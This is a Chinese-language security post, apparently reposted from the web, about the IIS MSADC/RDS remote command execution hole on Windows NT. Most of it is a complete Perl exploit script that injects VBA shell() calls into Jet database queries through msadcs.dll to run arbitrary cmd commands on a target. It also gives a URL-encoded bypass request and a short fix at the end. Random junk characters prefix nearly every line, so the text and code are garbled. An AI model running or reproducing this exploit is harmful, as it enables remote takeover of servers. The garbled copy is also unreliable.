IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
(:}}p}u 6ywO L'OBM 涉及程序：
mdc sL~R Microsoft NT server
J{n A
?[ (/!zHq 描述：
!d95gq<=> 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
\|Y_,fi 5wv7]F< 详细：
g5*?2D}dqX 如果你没有时间读详细内容的话，就删除:
/?}2OCq c:\Program Files\Common Files\System\Msadc\msadcs.dll
/9?yw! 有关的安全问题就没有了。
i\o * =+{r CH 5>u 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
1_M} Dc+J [4;G^{
bX 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
iY5V4Gbo 关于利用ODBC远程漏洞的描述，请参看:
!3z
;u8W 1buO&q!v n http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _93:_L 7~L_>7 ; 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
In;+wFu;M http://www.microsoft.com/security/bulletins/MS99-025faq.asp ZCNO _g *\`<=,H6< 这里不再论述。
!y$+RA7\ "2PT]! 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
hsYv=Tw3C JX#0<U|L /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
.(yJ+NU 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
bfK4ps}m* .k|\xR va0}?fy.O% #将下面这段保存为txt文件，然后: "perl -x 文件名"
VWqZ`X J58S8:c #!perl
^RYq !l$ #
| S'mF6Y # MSADC/RDS 'usage' (aka exploit) script
qtFHA+b O #
?R4%z2rcW # by rain.forest.puppy
6<f(Zv? I #
WzBr1
ea{I # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
dKa2 _|k' # beta test and find errors!
V$dhiP
z }?sC1]-j& use Socket; use Getopt::Std;
EIPX q getopts("e:vd:h:XR", \%args);
y43ha v
<OZ
#
L$ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
a `LkP% D?4bp'0 3 if (!defined $args{h} && !defined $args{R}) {
4EaxU !BT print qq~
ieXi6^M $ Usage: msadc.pl -h <host> { -d <delay> -X -v }
8 uA!Vrp3 -h <host> = host you want to scan (ip or domain)
Jw{ duM;] -d <seconds> = delay between calls, default 1 second
%pf9Yd0t -X = dump Index Server path table, if available
Af`Tr6) -v = verbose
gq="& -e = external dictionary file for step 5
o1 uM( 6.6?Rp". Or a -R will resume a command session
eK}GBBdO "w__AYH V ~; exit;}
K'f2 S wNmC 1HOh $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
T>J ,kh if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
#G=AD/z if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
amWKykVS5 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
> iYdr/^a $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
{$ v^2K'C if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
)g KC}_h= )RQ QhB if (!defined $args{R}){ $ret = &has_msadc;
pX1Us+% die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
]kF1~kXBe + f:!9)C print "Please type the NT commandline you want to run (cmd /c assumed):\n"
QXgfjo . "cmd /c ";
u^W!$OfZpp $in=<STDIN>; chomp $in;
^sqzlF $command="cmd /c " . $in ;
> }kZXeR| [8K :ml if (defined $args{R}) {&load; exit;}
Sf@xP.d q4,/RZhzh print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
dXsD%sG @ &try_btcustmr;
M4% 3a j (^E5y,H<g print "\nStep 2: Trying to make our own DSN...";
G#A6<e/ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
;^|):x+O 6{yn;D4 print "\nStep 3: Trying known DSNs...";
_'*(-K5& &known_dsn;
h.NC G96S po. QM/b
\ print "\nStep 4: Trying known .mdbs...";
Hx!eCTO:* &known_mdb;
7U2B=]<e- gAf4 w q if (defined $args{e}){
!T
9CpIM% print "\nStep 5: Trying dictionary of DSN names...";
8~ &=vc &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
:[0 )Uu{ 9~jS_Y)" print "Sorry Charley...maybe next time?\n";
1qBE|P wBp exit;
=YD<q:n4 ukRmjHbL f ##############################################################################
$aN%[ aIh} j, sub sendraw { # ripped and modded from whisker
QS1lg sleep($delay); # it's a DoS on the server! At least on mine...
($W%&(:/ my ($pstr)=@_;
zS h9`F socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
*zW]IQ'A die("Socket problems\n");
|$~]|SK if(connect(S,pack "SnA4x8",2,80,$target)){
v5U'ky : select(S); $|=1;
Oqq' r "S print $pstr; my @in=<S>;
{L [ select(STDOUT); close(S);
{JF"PAS7 return @in;
'yV*eG?^& } else { die("Can't connect...\n"); }}
]q4(%Q VE }r'MBk ##############################################################################
+;M 5Sp 0)ZLdF_6 sub make_header { # make the HTTP request
m9+?>/R my $msadc=<<EOT
sf:IA%.4t POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
emB<{kOkw User-Agent: ACTIVEDATA
kE| x'(x Host: $ip
T8Q _JQ Content-Length: $clen
Hi*|f!,H? Connection: Keep-Alive
'?g&);4)k- 0Ng?U+6 ADCClientVersion:01.06
Wh~,?}laj Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
5)5yH bS 8si{|*;hL --!ADM!ROX!YOUR!WORLD!
-Q &@P3x Content-Type: application/x-varg
S4-jF D)U Content-Length: $reqlen
t)rPXvx}! :R>RCR2 g) EOT
k 8%@PC$ ; $msadc=~s/\n/\r\n/g;
xEeHQ7J return $msadc;}
7AWq3i{ b#R$P]dr= ##############################################################################
(h g6<` #,1z=/d. sub make_req { # make the RDS request
lNl.lI\t)y my ($switch, $p1, $p2)=@_;
axq~56"7E my $req=""; my $t1, $t2, $query, $dsn;
MUGoW;}v ) k GYsjhL\d if ($switch==1){ # this is the btcustmr.mdb query
lnm@DWhf $query="Select * from Customers where City=" . make_shell();
~*<`PD O? $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
9Oo`4 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
GlRjbNW?Q >yHtGIHe- elsif ($switch==2){ # this is general make table query
5SmJ'zFO $query="create table AZZ (B int, C varchar(10))";
*Z FF$0} $dsn="$p1";}
iHK.hs; P# `M8k elsif ($switch==3){ # this is general exploit table query
}pnp._j $query="select * from AZZ where C=" . make_shell();
z(
}w| $dsn="$p1";}
-; FAS3(wy <5P*u Z elsif ($switch==4){ # attempt to hork file info from index server
5h0Hk<N $query="select path from scope()";
5X>~3 9(r $dsn="Provider=MSIDXS;";}
\NEk B&^n l&:8 'k+%= elsif ($switch==5){ # bad query
c_?^:xs:d $query="select";
@+S r~:K $dsn="$p1";}
UUb0[oy |5X59!
JL $t1= make_unicode($query);
c 3o3i $t2= make_unicode($dsn);
z;Fz3s7 $req = "\x02\x00\x03\x00";
AE~@F4MK $req.= "\x08\x00" . pack ("S1", length($t1));
dqo-.,= $req.= "\x00\x00" . $t1 ;
1~3dX[& $req.= "\x08\x00" . pack ("S1", length($t2));
:Ea|FAeK8 $req.= "\x00\x00" . $t2 ;
;Bj&9DZd $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
`'k2gq& return $req;}
N&kUTSd * fj`+J ##############################################################################
z8]@Gh+
( cAot+N+9|] sub make_shell { # this makes the shell() statement
0a #v}w^ * return "'|shell(\"$command\")|'";}
5?? }9 ZbjUOlE02 ##############################################################################
s S#/JLDx] 3 }&3{kt sub make_unicode { # quick little function to convert to unicode
/!A"[Tyt my ($in)=@_; my $out;
4[MTEBx for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
kv, !"< return $out;}
hvNK"^\p (2M00J-o ##############################################################################
/c 7z[| }#%Y e CA? sub rdo_success { # checks for RDO return success (this is kludge)
-!O8V my (@in) = @_; my $base=content_start(@in);
z,7;+6*= L if($in[$base]=~/multipart\/mixed/){
ccPWfy_ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
jm@M"b'{ return 0;}
aR('u:@jHi -)3+/4Q( ##############################################################################
zUZET'Bm9 5>daWmD sub make_dsn { # this makes a DSN for us
T!>h Pg my @drives=("c","d","e","f");
Dj'?12Onu= print "\nMaking DSN: ";
A9u>bWIE7 foreach $drive (@drives) {
m)"(S print "$drive: ";
O! XSU, my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
W*#5Sk "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
-C}"1|P! . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
\[.qN $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
5|N`: h'9M return 0 if $2 eq "404"; # not found/doesn't exist
QV:> x#=V if($2 eq "200") {
<eS/-W %n6 foreach $line (@results) {
wV nmT94 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
T]tu#h{
a } return 0;}
w?^[* _Y (w5cp!qW9J ##############################################################################
%N&W_.F6 ?wCX:? g sub verify_exists {
<)T~_ s my ($page)=@_;
_@[W[= |H my @results=sendraw("GET $page HTTP/1.0\n\n");
b7I0R; Zj return $results[0];}
J5H K1 !6RDq` ##############################################################################
hfyU} `]
!K}W.yv, sub try_btcustmr {
QRBx}!:NZ# my @drives=("c","d","e","f");
v t * my @dirs=("winnt","winnt35","winnt351","win","windows");
~ss6yQ$ US"g>WLwJ foreach $dir (@dirs) {
OY:rcGc`t print "$dir -> "; # fun status so you can see progress
BG?>)]6 foreach $drive (@drives) {
K<`Z@f3'w print "$drive: "; # ditto
q oi21mCn $reqlen=length( make_req(1,$drive,$dir) ) - 28;
X9]} UX $reqlenlen=length( "$reqlen" );
t&q~ya/C $clen= 206 + $reqlenlen + $reqlen;
hhZ%{l qL 1E&S{. my @results=sendraw(make_header() . make_req(1,$drive,$dir));
$,U/,XA
{E if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
\y(3b# else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
q{f\_2[ r~ f;g9I ##############################################################################
z
|~+ 0 ,(K-;Id4 sub odbc_error {
QSa#}vCp* my (@in)=@_; my $base;
=mZYBm,IQ my $base = content_start(@in);
_8 0L/92 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
x< 2]UB` $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
DgW@v[#BK= $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
SE^l`.U@ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
([>__c/ Nd return $in[$base+4].$in[$base+5].$in[$base+6];}
uyB 2 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
1v`|mU}i, print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
v G\J8s $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
5=|h~/.k z+6PVQ ##############################################################################
A-=hvJ5T Xnjl {` sub verbose {
C5I7\ 9F) my ($in)=@_;
iO?^y(phC return if !$verbose;
'F.P93 print STDOUT "\n$in\n";}
W4 d32+V `VO;\s$5j ##############################################################################
n9={D q@[F|EF= sub save {
?z l<"u my ($p1, $p2, $p3, $p4)=@_;
-wV2
79^b open(OUT, ">rds.save") || print "Problem saving parameters...\n";
ov,s] g83 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
hB.8\-}QMq close OUT;}
#\m.3!Hcr @!! u>1 ##############################################################################
26 72oFD n~|?)EL sub load {
2 A!*8w my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
H 8 ? Y{H open(IN,"<rds.save") || die("Couldn't open rds.save\n");
xp95KxHHo @p=<IN>; close(IN);
.Hqq!& $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
5=
&2 = $target= inet_aton($ip) || die("inet_aton problems");
Y8v[kuo7 print "Resuming to $ip ...";
xlwf @XW $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
T:{r*zLSN if($p[1]==1) {
F9K0 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
(P-^ PNz& $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
'hBnV xd& my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
tR'RB@k J if (rdo_success(@results)){print "Success!\n";}
M`'D D-Q else { print "failed\n"; verbose(odbc_error(@results));}}
a<r,L E elsif ($p[1]==3){
ez[x8M> if(run_query("$p[3]")){
a_5s' Dh print "Success!\n";} else { print "failed\n"; }}
{O y|c elsif ($p[1]==4){
t7x<=rW7u if(run_query($drvst . "$p[3]")){
a }FyJp print "Success!\n"; } else { print "failed\n"; }}
6#CswSpS exit;}
J.4U;A5 ]9/A=p?J@ ##############################################################################
}l$zZ>.\H r.#r!.6 q sub create_table {
[y'blCb my ($in)=@_;
N'EZJ oH $reqlen=length( make_req(2,$in,"") ) - 28;
q/I( e $reqlenlen=length( "$reqlen" );
;2`6eyr $clen= 206 + $reqlenlen + $reqlen;
dB4ifeT] my @results=sendraw(make_header() . make_req(2,$in,""));
-A
w]b} #v return 1 if rdo_success(@results);
mL`8CO A my $temp= odbc_error(@results); verbose($temp);
,IboPh&Q78 return 1 if $temp=~/Table 'AZZ' already exists/;
"uf SHrZv return 0;}
Z@Q*An 6X h7Bx1 ##############################################################################
v(.m M9> O H2IO sub known_dsn {
BX[ IWP\% # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Q2m[XcnX my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
q%kCTw "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
eu$VKLY* "banner", "banners", "ads", "ADCDemo", "ADCTest");
9 CZ@IFS _^GBfM. foreach $dSn (@dsns) {
h0 92S |iY print ".";
|U{~t< BF# next if (!is_access("DSN=$dSn"));
+CBN[/Z^i if(create_table("DSN=$dSn")){
d> ) =| print "$dSn successful\n";
ZXYyG`3+ if(run_query("DSN=$dSn")){
|f$+|9Q? print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
a}NB6E)- print "Something's borked. Use verbose next time\n";}}} print "\n";}
IL.bwt pQD #
2^ H{7 ##############################################################################
,ESli/6 f]%S FQ+ sub is_access {
G2I%^.s my ($in)=@_;
3R%JmLM+R9 $reqlen=length( make_req(5,$in,"") ) - 28;
`0]N#G
T $reqlenlen=length( "$reqlen" );
GZrN, M $clen= 206 + $reqlenlen + $reqlen;
' abEY my @results=sendraw(make_header() . make_req(5,$in,""));
}?mSMqnB my $temp= odbc_error(@results);
.cs x"JC verbose($temp); return 1 if ($temp=~/Microsoft Access/);
@ PNgqjd return 0;}
4_QfM}Fyp t.;._' ##############################################################################
#bt f|\D 9;7"S.7AV sub run_query {
#*CMf.OCh my ($in)=@_;
^ ei[1 # $reqlen=length( make_req(3,$in,"") ) - 28;
+\_\53 $reqlenlen=length( "$reqlen" );
BE@(| U $clen= 206 + $reqlenlen + $reqlen;
"QXnE^ my @results=sendraw(make_header() . make_req(3,$in,""));
kK 4 a;j.# return 1 if rdo_success(@results);
-avxH?;?7 my $temp= odbc_error(@results); verbose($temp);
>e6 OlIW return 0;}
Iga + 8 k Y2l;NSWU ##############################################################################
aIa<, '1 2*'Q+{+ sub known_mdb {
=L#&`s@)_ my @drives=("c","d","e","f","g");
tP! %(+V my @dirs=("winnt","winnt35","winnt351","win","windows");
5Q8 H8!^
my $dir, $drive, $mdb;
KM[0aXOtv my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
d38o*+JCf AH'c:w]~ # this is sparse, because I don't know of many
!zOj`lx my @sysmdbs=( "\\catroot\\icatalog.mdb",
Xv!Gg6v6 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
&K'*67h "\\system32\\certmdb.mdb",
M("sekL "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
w#A\(z%;x <CO_JWD my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
l59\Lo: "\\cfusion\\cfapps\\forums\\forums_.mdb",
Psx"[2iZm "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
NCi~. I "\\cfusion\\cfapps\\security\\realm_.mdb",
>&+V[s rfD "\\cfusion\\cfapps\\security\\data\\realm.mdb",
JGvhw,g "\\cfusion\\database\\cfexamples.mdb",
3;Yd" "\\cfusion\\database\\cfsnippets.mdb",
BSHS)_x s "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
#p*uk "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
L)U*dY "\\cfusion\\brighttiger\\database\\cleam.mdb",
FvVC 2Z "\\cfusion\\database\\smpolicy.mdb",
=Y|( }92 "\\cfusion\\database\cypress.mdb",
Q+Q"J U "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
dYD;Z<l "\\website\\cgi-win\\dbsample.mdb",
Ve" (}z "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
@hA`f4^ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
B$2GEg]Ri ); #these are just
$-UVN0= foreach $drive (@drives) {
.E^w, o foreach $dir (@dirs){
%(& ja_oO foreach $mdb (@sysmdbs) {
8~Zw" print ".";
%JSRC<,a if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
O(%6/r`L,k print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
+i!HMyM if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Gu$J;bXVj print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
e6_8f* o|s } else { print "Something's borked. Use verbose next time\n"; }}}}}
pEcYfj 3M 2C:u)}R7D foreach $drive (@drives) {
7:LEf"vRZ foreach $mdb (@mdbs) {
xP>cQEL ot print ".";
GNM>hQ)h: if(create_table($drv . $drive . $dir . $mdb)){
w]qM
print "\n" . $drive . $dir . $mdb . " successful\n";
.>TG{>sH if(run_query($drv . $drive . $dir . $mdb)){
Ua|iAD 1 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
:X}SuM ?c } else { print "Something's borked. Use verbose next time\n"; }}}}
S{l)hwlE }
Q .Nw#r+m '/UT0{2;rS ##############################################################################
UVl B= ,h1\PT9ULY sub hork_idx {
cA 4?[ F
print "\nAttempting to dump Index Server tables...\n";
*j&\5|^V print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
?F]P=S:x $reqlen=length( make_req(4,"","") ) - 28;
X(x,6cC $reqlenlen=length( "$reqlen" );
@ntwdv; $clen= 206 + $reqlenlen + $reqlen;
rz&V .,s my @results=sendraw2(make_header() . make_req(4,"",""));
iB
W:t if (rdo_success(@results)){
XZk%5t|t my $max=@results; my $c; my %d;
"Ua-7Q&A for($c=19; $c<$max; $c++){
iT{4-j7|P4 $results[$c]=~s/\x00//g;
`. JW_F)1 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
j~\FDcG*ed $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
H?;+C/-K`_ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
dpS @: $d{"$1$2"}="";}
>H;m [ foreach $c (keys %d){ print "$c\n"; }
tx[ ;& ; } else {print "Index server doesn't seem to be installed.\n"; }}
_I; hM Eu &$R q} ##############################################################################
) q'D9x9 '+$r7?dKP sub dsn_dict {
9c}C<s`M open(IN, "<$args{e}") || die("Can't open external dictionary\n");
E<-W & a } while(<IN>){
zP0<4E$ M` $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
k]:`<`/I_ next if (!is_access("DSN=$dSn"));
".|8 (Y if(create_table("DSN=$dSn")){
a"xRc print "$dSn successful\n";
3,G|oR{D if(run_query("DSN=$dSn")){
yw+] S print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
7Z:HwZ print "Something's borked. Use verbose next time\n";}}}
~b#<HG\,, print "\n"; close(IN);}
t* Ro2QZ f2gh|p` ##############################################################################
-a_qZ7 }*9F `=%F sub sendraw2 { # ripped and modded from whisker
PtUS7[] sleep($delay); # it's a DoS on the server! At least on mine...
a'Cny(( my ($pstr)=@_;
t1iz5%`p} socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
N)H+N g[ die("Socket problems\n");
DI;LhS*z if(connect(S,pack "SnA4x8",2,80,$target)){
g&p(Xu N print "Connected. Getting data";
$~:ZzZO open(OUT,">raw.out"); my @in;
~DxuLk6
s select(S); $|=1; print $pstr;
sx+k
V A while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
) C~#W close(OUT); select(STDOUT); close(S); return @in;
u y"i3xD6- } else { die("Can't connect...\n"); }}
Y {e,I-"{ & ;5f/ ##############################################################################
e^~d x }X 9.dZA9 l@g sub content_start { # this will take in the server headers
a>4q"IT6 my (@in)=@_; my $c;
,V]FAIJ for ($c=1;$c<500;$c++) {
z"7?I$N Q if($in[$c] =~/^\x0d\x0a/){
T ;Kv<G; if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
J_ &cI%. else { return $c+1; }}}
7ZAxhFC return -1;} # it should never get here actually
YG*<jKcX >#r0k|3J^J ##############################################################################
{-7ovH? _G -6G=q sub funky {
V WdTnu my (@in)=@_; my $error=odbc_error(@in);
Tg@G-6u0c if($error=~/ADO could not find the specified provider/){
.Gr"| uII print "\nServer returned an ADO miscofiguration message\nAborting.\n";
3nhQ^zqf exit;}
.
&}x[~g if($error=~/A Handler is required/){
; 6 d-+(@ print "\nServer has custom handler filters (they most likely are patched)\n";
)N^fSenFBn exit;}
c{D<+XM if($error=~/specified Handler has denied Access/){
]S?G]/k} print "\nServer has custom handler filters (they most likely are patched)\n";
F 3!6}u\F exit;}}
&-NGVPk81` ZI$P Qz2i ##############################################################################
X0ugnQ6 qrOesSdc sub has_msadc {
j3w~2q"r my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
~IO'"h'w my $base=content_start(@results);
U%1M?vT/ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
$t a"Ug.z return 0;}
h-Ks:pcR 1n2Pr'|s ########################
b?Q$UMAbH w(+ L&IBC ?en-_'}~a 解决方案：
fOSJdX0e|Q 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
mBrZ{ hqS 2、移除web 目录: /msadc
